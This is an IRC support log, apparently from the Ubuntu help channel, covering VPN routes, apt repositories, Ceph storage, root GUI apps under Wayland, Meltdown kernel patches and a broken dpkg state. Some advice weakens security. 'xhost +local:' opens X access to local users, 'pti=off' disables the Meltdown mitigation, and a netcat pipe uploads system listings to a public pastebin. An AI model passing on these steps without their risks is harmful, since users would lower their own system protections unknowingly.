[13:04] <zomaar> kbharatht: Then your ppp0 connection is gone? But I made a mistake
[13:04] <Razer007> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it? Any solution guys??
[13:04] <zomaar> kbharatht: /sbin/ifconfig | grep tun0 -A2
[13:04] <alkisg> Razer007: wait for automatic security updates to finish
[13:04] <Rosslyn> alkisg, this is a project I just jumped onboard, and just realised... really informational... thanks!
[13:05] <Razer007> okay!! Thanx man!!
[13:05] <alkisg> Rosslyn: https://packages.ubuntu.com/search?keywords=linux-image-generic => you have linux-image-generic-lts-vivid, you want linux-image-generic-lts-xenial
[13:05] <kbharatht> /sbin/ifconfig | grep tun0 -A2 done
[13:05] <kbharatht> now route displays empty
[13:06] <zomaar> kbharatht: Then just run /sbin/ifconfig and see if you can find tun0 or tan0
[13:07] <kbharatht> no cant find tun0 or tan0
[13:08] <kbharatht> all i see is enpls1, enpls2,, lo. lobal, global
[13:08] <Aiman> hyee
[13:08] <EriC^^> hey
[13:08] <Aiman> how are you guys
[13:09] <zomaar> kbharatht: Then VPN is not up
[13:09] <Razer007> hello!!
[13:09] <zomaar> kbharatht: As far as I know
[13:09] <Aiman> helo
[13:09] <jimb_> Hiya Aiman
[13:09] <Razer007> I am fine...Wbu Aiman?
[13:09] <Aiman> I User075
[13:10] <Aiman> hello
[13:10] <kbharatht> zomaar ?
[13:10] <Aiman> I using cmd to on weechat whats yours
[13:11] <zomaar> kbharatht: Your VPN is not connected, it has to show a tun0 if it is connected
[13:11] <zomaar> kbharatht: Provided you are using openvpn
[13:11] <Rosslyn> alkisg, so I guess my option is to move upwards in the kernel list, bringing 14.04.3 to 14.04.5 (with kernel 4.4)
[13:12] <kbharatht> no openvpn
[13:12] <Aiman> hello
[13:12] <kbharatht> i used point to point tunnel to configure vpn
[13:12] <Aiman> oooo
[13:12] <Aiman> I see
[13:12] <kbharatht> vpn now states failed to start vpn'
[13:13] <kbharatht> vpn service failed to start for connecting vpn
[13:13] <zomaar> kbharatht: We did not change anything in your system
[13:13] <kbharatht> what are those grep commands ?
[13:14] <zomaar> kbharatht: If ppp0 was your VPN link then it was already the default route and should have worked
[13:14] <kbharatht> after entering the commands it fails to start vpn
[13:14] <zomaar> kbharatht: I thought your ppp0 was a different connection (such as tethering)
[13:15] <zomaar> kbharatht: /sbin/ifconfig only gives information, it doesn't do anything
[13:15] <zomaar> kbharatht: Are you sure you typed the |?
[13:16] <kbharatht> tethering  named as enp0s29f and vpn named as ppp0
[13:16] <zomaar> kbharatht: It shouldn't do anything in any case, we didn't change anything
[13:16] <zomaar> Oh okay
[13:16] <th0rne> I get this message "system network services are not compatible with this version". I tried updating, but to no avail. I think it's either because I installed this dkms wlan driver or because I installed connman. Is it enough to dkms remove and/or purge connman, or how do I restore this networking (ui) functionality
[13:16] <zomaar> Then if your VPN worked, the route was okay, and you should have internet via VPN
[13:16] <kbharatht> yes copied and typed what you have provided
[13:17] <kbharatht> that grep commands not showed any information
[13:17] <kbharatht> it was blank when i typed in emtered ?
[13:17] <zomaar> kbharatht: No sorry, dumb
[13:17] <kbharatht> what ?
[13:18] <kbharatht> one more question
[13:19] <zomaar> kbharatht: I do not know how ppp tunneling works
[13:19] <kbharatht> how do i uninstall  open  vpn and  ppp0
[13:19] <kbharatht> few hours back i installed them?
[13:19] <EdwardIII> hey. i'm reading about the security updates, but i can only seem to see 2 for the kernel, and they both seem to be for 12.04?
[13:20] <EdwardIII> however when i did apt-get upgrade i did have kernel updates to install
[13:20] <zomaar> kbharatht: 0.0.0.0         0.0.0.0         0.0.0.0         U     50     0        0 ppp0  just seems very strange to me that there is no endpoint
[13:21] <kbharatht> sudo apt-get install network-manager-pptp-gnome  ??   how do i uninstall that
[13:21] <zomaar> kbharatht: sudo apt remove .....
[13:22] <kbharatht> ok leave it . i will deal with this headache tommorow by myself
[13:22] <EdwardIII> ah wait disregard that now i can see the rest, not sure what happened there
[13:22] <kbharatht> its time for to apply passport for my client.  thank you zomaar.
[13:23] <zomaar> kbharatht: ppp0 must be in ifconfig, cya
[13:23] <zomaar> gl
[13:23] <kbharatht> tq
[13:23] <th0rne> Can I reinstall Ubuntu from Ubuntu without a live cd/usb?
[13:24] <th0rne> I fucked up the networking somehow, but there's so little customization that it's probably faster like this.
[13:26] <EriC^^> th0rne: no
[13:27] <BluesKaj> th0rne, please watch the language, but look here https://www.ubuntu.com/download/alternative-downloads
[13:27] <th0rne> Ah great, thanks!
[13:29] <th0rne> What's the hwe kernel?
[13:32] <BluesKaj> !hwe
[13:32] <th0rne> Thanks!
[13:33] <MJCD> hey is there a controller app I can use to turn off all the animation effects and stuff for performance?
[13:36] <nagyg> Hi, is anyone running world of tanks here on Ubuntu?
[13:38] <deku_> hi
[13:39] <deku_> #javascript
[13:42] <fossxplorer> I'm trying to add some repos, but an apt-search or show gives me packages from standard repo, i wonder why?
[13:44] <fossxplorer> E.g 'deb [arch=arm64] https://download.ceph.com/debian-luminous xenial main' inside /etc/apt/sources.list.d/ceph.list
[13:44] <fossxplorer> when i do an apt-get show ceph, i get older version from Ubuntu repo, not this repo
[13:45] <BluesKaj> did you update with apt?
[13:45] <fossxplorer> As in apt-get update?
[13:45] <BluesKaj> ues
[13:45] <BluesKaj> yes
[13:46] <fossxplorer> No, sorry, i'm not used to Ubuntu & apt
[13:47] <BluesKaj> when adding a repos you need to update the sources list
[13:48] <fossxplorer> Sure thing!
[13:49] <fossxplorer> Looks better now, thx a lot!
[13:50] <BluesKaj> fossxplorer, then after updating you can install the packages you want if they're available and compatible with your ubuntu version
[13:51] <fossxplorer> Yeah, i checked with apt-cache show <pkg> and i see both version, one from the new repo + ubuntu's
[13:52] <fossxplorer> Which is good for me to get the latest Ceph version on my littler ARM box
[13:52] <fossxplorer> Package: ceph Version: 12.2.2-1xenial Architecture: arm64 :)
[13:52] <fossxplorer> Now i hope the installation goes smooth too!
[13:53] <mortn> of course it does. Ceph rocks!
[13:54] <fossxplorer> Sounds good. I'm trying one a $35 dollar ARM box
[13:55] <mortn> fossxplorer: using bluestore instead of xfs takes a bit more cpu
[13:55] <qin> LALA
[13:55] <fossxplorer> I see ,but that's a good sacrifice for better performance isn't it?
[13:56] <qin> ANDYBODY HERE
[13:56] <qin> ?
[13:56] <BluesKaj> qin, just ask you question
[13:56] <PTNapivoski> qin, just ask, man.
[13:57] <BluesKaj> your
[13:57] <mortn> fossxplorer, so they say. I've been running bluestore since I had to use the "enable_possible_breaking_feature = bluestore" in the ceph.conf and it does give a bit of performance gain
[13:57] <fossxplorer> Lol, 1462 users here so...
[13:57] <fossxplorer> give a bit of performance gain doesn't sound promisin though :)
[13:57] <mortn> exactly
[13:58] <mortn> i'm sure it's the way to go, but if I were to setup again on a not-so-tough-CPU hardware I'd prolly go with xfs for now
[13:58] <fossxplorer> Hmm ok
[13:58] <mortn> not sure how to do that on 12 though
[13:59] <mortn> my 5-node cluster is on i3, i5 and i7's
[13:59] <fossxplorer> How big is your total storage on Ceph?
[13:59] <fossxplorer> I see. How much RAM is needed?
[14:00] <mortn> 3 mons and one node is only osd node
[14:00] <mortn> again, from my PoV using bluestore takes a bit more mem
[14:01] <mortn> using bluestore it's around about 1G per osd
[14:01] <mortn> for my 4TB spinning disks
[14:03] <zamba> how good approach is using zfs and creating one zfs file system per user on a ftp server?
[14:03] <fossxplorer> I see. So you have 4TB x 3? mortn
[14:04] <mortn> fossxplorer: https://hastebin.com/otususuqop.css
[14:04] <b3h3m0th> What is this remote log collection port I can see on my system at port 514?
[14:04] <fossxplorer> zamba, i'd *assume*, e.g that it makes snapshotting easier independently of each user's file system
[14:05] <zamba> fossxplorer: but how does it scale?
[14:05] <chuun> hi, is it possible to get nc6 to ubuntu xenial?
[14:06] <fossxplorer> mortn, i'm n00b with Ceph. Are SSD used for metadata and/or other stuff?
[14:08] <mortn> no, it's just a leftover from ceph 0.94 and onwards to have 2 different roots and then use those in the crush rules to allow ssd pools and spinning pools on the same nodes
[14:08] <fossxplorer> So you have a redundant setup? How many OSD can fail in your setup without loosing data?
[14:08] <mortn> now you should be able to setup the ceph crush rules to use the class which ceph detected on it's own
[14:09] <mortn> half
[14:09] <mortn> i never loose data
[14:09] <mortn> the cluster just becomes first unwritable and then unaccessible
[14:10] <zomaar> zamba: I'm no expert but it doesn't sound like it is a brilliant approach for thousands of users tbh :p.
[14:10] <mortn> but i have actually never lost any data - lord knows i've tried to break it from time to time but every time i got it back in operational mode
[14:10] <fossxplorer> mortn, cool. So to tolerate half nodes down, you need at least 4 OSDs?
[14:11] <mortn> yes
[14:11] <zomaar> zamba: actually you can have a huge number of zpools
[14:11] <zomaar> zamba: so I think it scales well
[14:11] <zamba> zomaar: not thousands
[14:11] <fossxplorer> How much disk space goes away to redundancy? yes
[14:11] <zomaar> zamba: You can have 2^64 zpools
[14:12] <zamba> zomaar: this is not pools, it's volumes
[14:12] <zamba> zomaar: it will only be one pool, "homes" or similar, and then volumes/fs underneath
[14:12] <MJCD> Hey im having problems with a lot of apps that ask for my sudo password but then never show up. Gparted is an example, and I just got this error
[14:12] <zomaar> zamba: Oh they call that vdevs right
[14:12] <MJCD> that it cannot open display :0
[14:13] <zomaar> zamba: That's also 2^64 :p
[14:13] <MJCD> I just installed it from the ubuntu market
[14:13] <MJCD> so ive not messed with anything
[14:14] <MJCD> the same is true of synaptic which I installed
[14:14] <mortn> depends on the number of replicas
[14:14] <MJCD> just cant open display :0
[14:14] <DevAntoine> TJ-: hi. Do you remember me? Yesterday you helped me with the ACPI about the Bluetooth issue with my speaker? Well, know the speaker seems to work fine but I can't control the screen luminosity with my keyboard anymore :,D
[14:15] <TJ-> DevAntoine: I don't know whether to laugh or cry!
[14:15] <fossxplorer> zamba, zamba, it's called datasets in zfs that are create under one vdev
[14:15] <DevAntoine> TJ-: yeah that was my reaction too :D
[14:15] <mortn> fossxplorer, i'm moving to erasure-coded pools http://docs.ceph.com/docs/master/rados/operations/erasure-code/
[14:15] <TJ-> DevAntoine: what does "cat /proc/cmdline" show ?
[14:16] <DevAntoine> TJ-: BOOT_IMAGE=/vmlinuz-4.4.0-104-generic.efi.signed root=/dev/mapper/xubuntu--vg-root ro acpi_osi=! "acpi_osi=Windows 2015" quiet splash vt.handoff=7
[14:16] <fossxplorer> zamba, zamba,  fyi, zfs and snapshots really rock. Just had over 2000 snapshots under my pool
[14:16] <fossxplorer> Just cleaned up a bit to speed up scrubbing
[14:17] <TJ-> DevAntoine: I'm wondering if the PC needs to uses a platform-specfic hotkey driver. Can you show us "pastebinit <( lsmod )"
[14:18] <DevAntoine> TJ-: http://paste.ubuntu.com/26360350/
[14:20] <fossxplorer> mortn, thx interesting. So Ceph can scale out better than ZFS
[14:20] <TJ-> DevAntoine: seems to be using thinkpad_acpi - let me investigate. In the meantime please show us "pastebinit <( dmesg; ls -l /sys/class/input )"
[14:21] <fossxplorer> So far, i've been loving ZFS. IMHO, there isn't any better out there, but Ceph could be :)
[14:22] <DevAntoine> TJ-: https://paste.ubuntu.com/26360365/
[14:22] <mortn> fossxplorer, i've never used zfs - only ceph and btrfs and xfs and ext*
[14:23] <fossxplorer> mortn, it's kinda smilar to btrfs i guess.
[14:23] <TJ-> DevAntoine: oh, and also "pastebinit <( for n in /sys/module/thinkpad_acpi/parameters/*; do echo "$n=$(cat $n)"; done )"
[14:24] <mortn> fossxplorer, the built-in redudancy in ceph along with the rest of the features is just so lovable to me
[14:24] <DevAntoine> TJ-: https://paste.ubuntu.com/26360378/
[14:25] <fossxplorer> mortn, yeah. So can one OSD be a server full of disks?
[14:25] <fossxplorer> Or do we have to run multi OSDs within that server os using single disks?
[14:26] <mortn> fossxplorer, single disks - you need to give the details to ceph
[14:26] <mortn> each single disk should be defined in ceph
[14:26] <fossxplorer> so one OSD can be assigned with multi disks?
[14:27] <mortn> you could, but then ceph doesn't know about how it should load the disks with placement groups
[14:27] <mortn> i mean, it's a not-good idea
[14:28] <mortn> make every spinning disk into on osd service that ceph can manage on it's own so it can single it out
[14:29] <mortn> fossxplorer, when setting up i like ceph-deploy executable
[14:32] <TJ-> DevAntoine: according to dmesg the ACPI driver handles brightness control and the list of inputs suggests the hotkeys are handled by: "event8 -> ../../devices/platform/thinkpad_acpi/input/input9/event8"
[14:33] <fossxplorer> mortn, alright i guess i need more research to get a better understanding
[14:33] <fossxplorer> For my small boxes its ok. But i have some supermicro 24-bay servers too
[14:33] <TJ-> DevAntoine: so, maybe test that input using "xinput --test 9" and press some of the function+hotkeys for brightness control, possibly volume control too - see if anything is reported. Ctrl+C to quit the test
[14:35] <DevAntoine> TJ-: nothing happens
[14:35] <mortn> fossxplorer, don't forget to setup networking: 1 network for client access (via cephfs or for ceph block devices) and then a separate network for backfilling (moving data from one osd to another between osd nodes/hosts)
[14:36] <DevAntoine> TJ-: http://paste.ubuntu.com/26360418/
[14:36] <TJ-> DevAntoine: hmmm. I'm a bit rusty on testing the platform keys but I tried the same test here and nothing happened also, so I may not have the correct command!
[14:36] <mortn> 10Gbit is recommended
[14:36] <TJ-> DevAntoine: oh, it should be device 14 not 9! try again :D
[14:36] <DevAntoine> TJ-: yeah, what I thought, so I tried with 14 too :D
[14:37] <fossxplorer> mortn, yeah good tip.
[14:37] <TJ-> DevAntoine: strange, I thought the input devices in sysfs matched up with the X input ids
[14:37] <DevAntoine> TJ-: I think I'll remove the ACPI option at boot and deal with the bluetooth issue :/
[14:38] <TJ-> DevAntoine: Yes, if that alters things there's definitely a bug in the PC firmware
[14:38] <DevAntoine> but that's so hard to properly configure a machine using Linux :/ That's some small details but in the end it's really annoying
[14:38] <TJ-> DevAntoine: notice at the end of the dmesg there are several "unhandled HKEY event xxxx" messages too
[14:38] <DevAntoine> TJ-: yes, I saw that
[14:39] <TJ-> DevAntoine: if you boot without acpi_osi= check if those still occur
[14:41] <DevAntoine> TJ-: the luminosity keys worked until yesterday :D
[14:44] <TJ-> DevAntoine: you could watch "dmesg -w" whilst pressing each hotkey and record which event ID matches which key, then we can report it upstream so the driver can handle those correctly
[14:45] <robairt> Hey, whats a good linux version of gpu-z?
[14:54] <Velgor2> honestly you cant run gui apps as root?
[14:54] <Velgor2> cause of wayland?
[14:54] <Velgor2> like are you for real?
[14:54] <alkisg> Velgor2: do you really think a wayland developer is here? :)
[14:54] <Velgor2> I cant even open gparted
[14:54] <alkisg> Velgor2: also, sure you can, it just needs a workaround
[14:54] <Velgor2> ive tried like 10 workarounds
[14:54] <Velgor2> still no gparted.
[14:55] <alkisg> xhost +local:
[14:55] <alkisg> And after running that, you can run gparted
[14:56] <Velgor2> holy crap
[14:56] <Velgor2> thank you so much
[14:56] <alkisg> np; watch the language though
[14:56] <Velgor2> all the guides were complete bs and a lot of hastle
[14:57] <Velgor2> does anyone know anything about gvfs?
[14:57] <Velgor2> its 'installed'
[14:57] <alkisg> !ask
[14:57] <Velgor2> but I cant make a partition
[14:57] <Velgor2> does not appear in gparted
[14:57] <alkisg> gvfs is a virtual file system, it's not something that you do partitions to
[14:58] <alkisg> E.g. if you want to access files from a samba share or a mobile phone, gvfs presents a local file system, while in reality it's remote
[14:58] <adac> with 16.04 I cannot setup hibernate when power is critically low for my Lenovo X1 Carbon. Any ideas how to fix that?
[14:58] <Velgor2> alkisg, im confused as to how to get started I guess
[14:58] <Velgor2> I once again found the guides very confusing
[14:58] <alkisg> Velgor2: start with what is your end goal
[14:58] <Velgor2> we want to use it for our business documents
[14:59] <Velgor2> so many people can edit at once etc etc
[14:59] <alkisg> Use what, gvfs?
[14:59] <Velgor2> yeah
[14:59] <alkisg> Eh, that's rather misguided
[14:59] <Velgor2> and so every document change is versioned
[14:59] <Velgor2> etc
[14:59] <Velgor2> well we could use git directly
[14:59] <Velgor2> but thats a pain in the.... foot
[14:59] <Velgor2> this should virtualize that whole process (?)
[15:00] <alkisg> To do that, you need software that can handle multiple users, not a file system that handles multiple users
[15:00] <Velgor2> sure the software we can write, I found a wrapper for node.js
[15:00] <alkisg> MJCD: no, I mean something like gobby
[15:01] <MJCD> alkisg, this does indeed look quite nice
[15:02] <MJCD> ill give it a go ^_^
[15:02] <MJCD> does it use gvfs under the hood
[15:02] <MJCD> ?
[15:02] <alkisg> MJCD: the file system is completely unrelated to what you're looking for
[15:02] <alkisg> You need a client<=>server application, not a file system
[15:03] <MJCD> ehh
[15:03] <MJCD> the filesystem from what I understand as I say should virtualize the git processes for a file based format
[15:03] <alkisg> That's what google docs and gobby and all the collaborative editors are, client<=>server apps
[15:03] <MJCD> afaik
[15:04] <MJCD> right, I understand
[15:04] <MJCD> I was actually trying to avoid a full db app style thing
[15:04] <alkisg> MJCD: what do you think would happen if two people wrote in the same git tree?
[15:04] <MJCD> and just have regular files
[15:04] <MJCD> alkisg, they'd be merged in the order accepted
[15:04] <alkisg> MJCD: nope, you can't do that
[15:04] <MJCD> I can't?
[15:05] <alkisg> You need software
[15:05] <MJCD> I mean I can do it with git
[15:05] <alkisg> Nope. You think you do it because you manually do all the steps the software would do
[15:05] <MJCD> right
[15:05] <alkisg> I.e. you re-read when there are changes, you do manual merges etc
[15:05] <MJCD> thats basically where im at
[15:05] <MJCD> so I need some kind of thing like this
[15:05] <MJCD> to automate all that
[15:05] <alkisg> So what you need is an editor that does this, not a file system that does this
[15:05] <alkisg> It's not a file system. It's an editor.
[15:06] <MJCD> well I thought the virtual filesystem did it as part of its read (pull), and write (push)
[15:06] <alkisg> The editor must have a server-side part, and client parts for multiple users
[15:06] <MJCD> as I say this does look nice
[15:06] <alkisg> No file system can do transparent merges with editors that don't specifically support that
[15:06] <alkisg> The server CAN save in simple files
[15:06] <alkisg> But the clients have to access them through the server
[15:07] <MJCD> alkisg, you're making blanket statements
[15:07] <alkisg> That's necessary in order to allow multi-user editing
[15:07] <MJCD> a filesystem driver can do ANYTHING on a read or write
[15:07] <MJCD> including git processes
[15:07] <alkisg> MJCD: no
[15:07] <MJCD> yes.
[15:07] <MJCD> bye.
[15:07] <alkisg> MJCD: ok, example:
[15:07] <alkisg> Ah, okbye
[15:08] <tarkus> Hi, all! How to install a single ICU locale (de-CH in my case)?
[15:20] <geirha> sudo locale-gen de_CH.UTF-8
[15:22] <ekshunya> hi, which mindmap app should i prefer on ubuntu?
[15:25] <cerion> hi. so did you notice any slow down with the new security patches for metldown ? I haven't yet but I use my ubuntu as a desktop
[15:31] <zomaar> ekshunya: I have no clue but I use Zim
[15:31] <koteka> hi
[15:31] <[twisti]> used to be, when i logged in via ssh, i was presented with a message alerting me to available but uninstalled updates. does anyone know what produced these messages, and if/how i can get that message without logging in ?
[15:31] <koteka> iam new in ubuntu
[15:32] <monst> Just did the ubuntu kernel patches, looks like it only fixed Spectre but not Meltdown?
[15:33] <monst> are we waiting on a second patch set?
[15:33] <EriC^^> [twisti]: apt list --upgradeable
[15:34] <EriC^^> [twisti]: that shows packages that can be upgraded, if you want to the same message as when you log in, the package update-motd can do it
[15:35] <ekshunya> thanks zomaar.
[15:35] <PTNapivoski> koteka, wellcome
[15:36] <[twisti]> EriC^^: no, im looking for something that just tells me how many things there are to upgrade, and which of them are security relevant
[15:36] <ekshunya> zomar for mindmap i found this new one also https://vue.tufts.edu/gallery/index.cfm
[15:38] <EriC^^> [twisti]: update-motd does that
[15:38] <koteka> what should i do now?
[15:39] <thresh> anyone on Ubuntu 16.04 with HWE kernel from tonights updates?
[15:39] <thresh> if you'd also be on a Ryzen machine, that'd be great.
[15:40] <kostkon> thresh, what is the problem
[15:40] <[twisti]> EriC^^: i want to see the message, not have it display when i log in
[15:41] <EriC^^> [twisti]: yeah that program shows it when you run it
[15:41] <EriC^^> [twisti]: anyways i think 'sudo run-parts /etc/update-motd.d' has the same effect
[15:41] <thresh> kostkon, an apparent kernel panic when booting it.  and no, I dont have a stack trace, since IP KVM on the server (it's a hetzner dedicated machine) switches to "no signal" when the machine boots (I still see some kernel messages when it's past grub)
[15:41] <[twisti]> i see, thank you
[15:41] <thresh> so I was wondering if that's "just me" or.
[15:41] <EriC^^> [twisti]: no problem
[15:41] <zomaar> thresh: try to disable it with pti=off if you want
[15:42] <kostkon> thresh, which kernel? 4.4 or 4.13?
[15:42] <thresh> kostkon, 4.13.0-26.29~16.04.2
[15:42] <kostkon> thresh, ok
[15:42] <thresh> zomaar, shouldnt it be by default on AMD?
[15:43] <zomaar> thresh: I don't know if they disabled it by default for anything yet?
[15:44] <thresh> https://bugs.launchpad.net/ubuntu/+source/linux/4.13.0-25.29 states "- x86/cpu, x86/pti: Do not enable PTI on AMD processors"
[15:44] <thresh> (also the bot is not very smart)
[15:44] <zomaar> Right
[15:45] <zomaar> so they did a lousier job than I thought...
[15:45] <thresh> I've just noticed I have a 26.29, and not 25.29.
[15:45] <thresh> Let me find a changelog for that version, too.
[15:45] <thresh> Well, I don't blame anyone.  Backporting stuff to stable kernels, and things that are that invasive, is hard.
[15:46] <zomaar> Well no I thought the kernel changes would be easy to disable, so I thought there would be no issues if anything went bad
[15:47] <zomaar> Personally I consider the risk to my systems absolutely minimal but yeah
[15:48] <zomaar> I really think it would be better to wait a month before patching (or upgrading) but that's just me you know
[15:48] <thresh> Sure
[15:48] <thresh> That's why I'm updating only one system out of tens I have :)
[15:48] <rosco> I'm trying to install ubuntu 16.04 LTS using LVM in dual boot, but it seems that only the "alternate" version of the installer  allows me to do this without removing windows completely, is it correct? (i'm a fedora guy)
[15:49] <zomaar> I don't know how fast this side channel attack is to execute but... ;-)
[15:49] <zomaar> Yeah
[15:49] <zomaar> Erm
[15:49] <zomaar> Yes I think so rosco
[15:50] <zomaar> rosco: Otherwise you just get a single new partition I think?
[15:50] <zomaar> I mean side channel attacks are really pretty awesome if you see the math :p.
[15:51] <zomaar> I once read a paper on a openssl sidechannel that used cache times by annoying all other processes in the system, including the openssl process
[15:52] <zomaar> Then it was able to retrieve the key used in compression without the plaintext or ciphertext, just by understanding the algorithm and its memory accesses
[15:52] <zomaar> encryption*
[15:52] <zomaar> But, the attack needed to be primed on a similar machine for at least a day or so
[15:53] <monst> any status on Meltdown patch for Ubuntu?
[15:53] <Gilr_> Hi. I would like to know what are the actions required to update ubuntu 14.04 in AWS sudo apt-get update sudo apt-get dist-upgrade sudo apt-get install linux-aws Are all the above commands required?
[15:53] <Gilr_> is reboot required?
[15:54] <zomaar> I have no clue Gilr_ but if you want to run the new kernel, then yes, a reboot is required
[15:55] <Gilr_> OK. so krnel may be updated but I must reboot for it to take effect, right?
[15:55] <zomaar> Yes
[15:56] <Gilr_> Thank you zomaar
[15:56] <zomaar> !kpti
[15:57] <zomaar> Gilr_: I suppose your linux-aws package would be part of dist-upgrade as well
[15:57] <Gilr_> I tried zomaar. I didn't see the linux aws before I ran it but never mind, I mostly wanted to make sure \i need to reboot
[15:58] <Gilr_> since ubuntu doesn't prompt for reboot after updating the versions
[15:58] <zomaar> ekshunya; I understand you want something like that yes.
[15:58] <zomaar> Gilr_: Okay
[15:59] <zomaar> Gilr_: I thought linux-aws would already be your kernel
[16:02] <Richard_Cavell> Looks like the new patches are here
[16:05] <geodb27> People : hi ! I'm using kubuntu 16.04 on all my laptops, and there is something that disturbs me. A tray notifier complains that there is something I could install to have a better experience with firefox (flash). Flash is already installed and works fine. How can I get rid of this notification ?
[16:06] <geodb27> I've already gone through the overall process, it fails. I'm sure of the password I entered to the dialog box.
[16:06] <JonelethIrenicus> I added another app repository and I want to uninstall it and all the libraries and such it added/upgraded/changed.  How can I do that and just revert to the other app sources I have to get those things?
[16:07] <wh0rd> Hey all
[16:07] <geodb27> Yet, it ends up with "Package installation failed" and the QApt Batch Installer displays : "An error occured while applying changes:" (only this) and the Details button don't give any more informations.
[16:09] <JonelethIrenicus> is it possible to just some how replace those things with the other repo source?
[16:09] <zomaar> JonelethIrenicus: There is a script for that, let me check
[16:09] <JonelethIrenicus> zomaar: thanks
[16:10] <zomaar> add-apt-repository should be able to remove it
[16:11] <zomaar> But I am not sure the version in Xenial supports it, wait
[16:12] <alkisg> !ppa-purge | JonelethIrenicus:
[16:13] <JonelethIrenicus> alkisg: awesome!
[16:13] <alkisg> np
[16:15] <bolovanos> hithere
[16:16] <bolovanos> 16.04LTS, terminal; I have coppied directory with files with (mc) into /tmp, trying to do ls -l on dirName, but it says
[16:16] <bolovanos> ls: cannot access '/tmp/dirName': No such file or directory
[16:16] <bolovanos> cd into dirName is possible
[16:17] <bolovanos> listing files while being in directoryName with ls -l works alos
[16:18] <bolovanos> any suggestions?
[16:18] <geirha> you are saying ''cd /tmp/dirName'' works, but ''ls /tmp/dirName'' fails?
[16:18] <alkisg> bolovanos: does it have spaces or special characters that you need to escape?
[16:19] <bolovanos> geirha, yes
[16:19] <bolovanos> alkisg, noe - real name is "signPosts"
[16:20] <alkisg> bolovanos: how about ls -ld dirname?
[16:21] <bolovanos> alkisg, same story
[16:22] <zomaar> Are you doing the cd and the ls with the same user?
[16:24] <bolovanos> zomaar, yes
[16:24] <alkisg> bolovanos: ls -l /tmp | grep dirname
[16:24] <alkisg> If that works, paste it here
[16:25] <bolovanos> alkisg, yes it works - did that already and compared it with settings of than copied directory
[16:25] <bolovanos> maybe I have found reason
[16:25] <zomaar> bolovanos: what happens if you rename it to a different name, and then rename it back?
[16:26] <bolovanos> zomaar, will test it sec
[16:26] <JonelethIrenicus> ok different problem
[16:26] <alkisg> bolovanos: is your /tmp +x mode?
[16:26] <JonelethIrenicus> what if it isn't a PPA and it is software sources?
[16:27] <zomaar> "Actually trusty-proposed is called a distribution in Debian terminology (https://wiki.debian.org/SourcesList). add-apt-repository can add a component (such as multiverse), but not a distribution for some reason. I decided to implemented ppa-purge so that it can purge a distribution instead of component(s). You can remove packages of components by other means (like by synaptic)."
[16:28] <bolovanos> first operation was not made with Mc, but Files program, ls -l behaved since then described way
[16:28] <bolovanos> I have had opportunity to come across this behaviour -> I have closed terminal which did not work, but opening new one did not help
[16:29] <bolovanos> so I have coppied files using Mc, same terminal, newly coppied directory -> ls -l did not work
[16:29] <JonelethIrenicus> zomaar: i tried using synaptic to remove all the packages from the sofware source but it will uninstall almost everything with it
[16:29] <zomaar> (that was the author, Jarno Suni, in some email)
[16:29] <nacc> zomaar: '-proposed' is called a pocket
[16:30] <zomaar> right
[16:30] <bolovanos> last step I have copied whole directory which consisted of formally copied "notlistable" directory with Mc
[16:31] <bolovanos> listing worked on this directory -> Files is the cause of problem
[16:31] <bolovanos> closing Files did the trick
[16:31] <bolovanos> thank you all for help
[16:33] <makeio> hi, i have a problem with my server. I have broken APT system, it returns me an status error. I have restored all backups with any result. Is possible to restart APT???
[16:34] <nacc> makeio: provide logs of what you mean.
[16:34] <nacc> makeio: in a pastebin
[16:36] <makeio> https://paste.ubuntu.com/26360963/
[16:37] <alkisg> makeio: ls -l /var/lib/dpkg | nc termbin.com 9999
[16:37] <alkisg> makeio: dpkg is what remembers which packages are installed in your system. To "restart" it you'd basically need to reinstall everything...
[16:37] <alkisg> So it's best to try to fix its state...
[16:37] <makeio> normally, when it ocurrs is sufficient restore fron backup in lib folder, but in my case no one backup is ok to restore de system
[16:39] <alkisg> (06:37:10 μμ) alkisg: makeio: ls -l /var/lib/dpkg | nc termbin.com 9999
[16:39] <leftyfb> makeio: restoring of /lib or even it's subdirectories outright is usually never a good idea
[16:39] <makeio> http://termbin.com/a175
[16:40] <m00n_urn> hey
[16:40] <Highzz> hey
[16:42] <m00n_urn> so i'm getting a "Error parsing PCC subspaces from PCCT" upon reboot what might have caused this?
[16:42] <alkisg> makeio: keep a backup of all this folder in case you need it. What happens if you `mv available-old available; mv status.save status`; and then run apt-get update?
[16:43] <B14CK-SPID3R> Hello guys. i have some problems with linux installation. my system info :
[16:43] <B14CK-SPID3R> [16:43] <B14CK-SPID3R> Asus N552 VW
[16:43] <B14CK-SPID3R> RAM : 8GB
[16:43] <B14CK-SPID3R> Graphic : Nvidia 960m - 4 GB
[16:43] <B14CK-SPID3R> CPU : Core i7 - 6700hq
[16:43] <alkisg> Haha, quick one :D
[16:43] <makeio> @alkisg, thanks i will try it
[16:44] <PTNapivoski> XD
[16:44] <alkisg> B14CK-SPID3R: use pastebin to paste more than 2 lines
[16:44] <alkisg> !paste
[16:45] <B14CK-SPID3R> ok, i
[16:45] <B14CK-SPID3R> i'm so sorry about it
[16:45] <alkisg> (otherwise the bot mutes you temporarily)
[16:46] <m00n_urn> i'm not even multi booting
[16:46] <JonelethIrenicus> how can you remove a software source that isn't from launchpad?
[16:47] <JonelethIrenicus> lots of details how to remove a ppa but what if it isn't hosted on launchpad
[16:47] <JonelethIrenicus> it doesn't have a similar naming convention
[16:47] <JonelethIrenicus> url/name/name
[16:48] <nacc> JonelethIrenicus: not really an ubuntu support question, but edit the sources.list
[16:48] <JonelethIrenicus> nacc: if I remove the source the packages remain though right?
[16:48] <nacc> JonelethIrenicus: tbh, the question is -- i installed something non-ubuntu, how do i get ubuntu to remove it. seems like a sort of circular question.
[16:48] <nacc> JonelethIrenicus: yep, you need to manually remove them
[16:48] <nacc> JonelethIrenicus: you asked how to remove the source, though
[16:49] <JonelethIrenicus> nacc: if I remove the packages with synaptic package manager it doesn't revert and install the old required packages and will actually uninstall a ton of other programs because of dependencies
[16:49] <alkisg> JonelethIrenicus: apt policy program => shows versions. apt install program=version => downgrades to the non-"ppa" version without removing dependencies
[16:49] <nacc> JonelethIrenicus: well, yeah, you're ... removing the packages
[16:50] <nacc> JonelethIrenicus: hint, this is why our top (IMO) suggestion in this channel is to *not* use 3rd party junk :)
[16:50] <nacc> (well, one of many reasons why)
[16:50] <B14CK-SPID3R> https://paste.ubuntu.com/26361023/
[16:50] <JonelethIrenicus> alkisg: oh?
[16:52] <m00n_urn> hey?
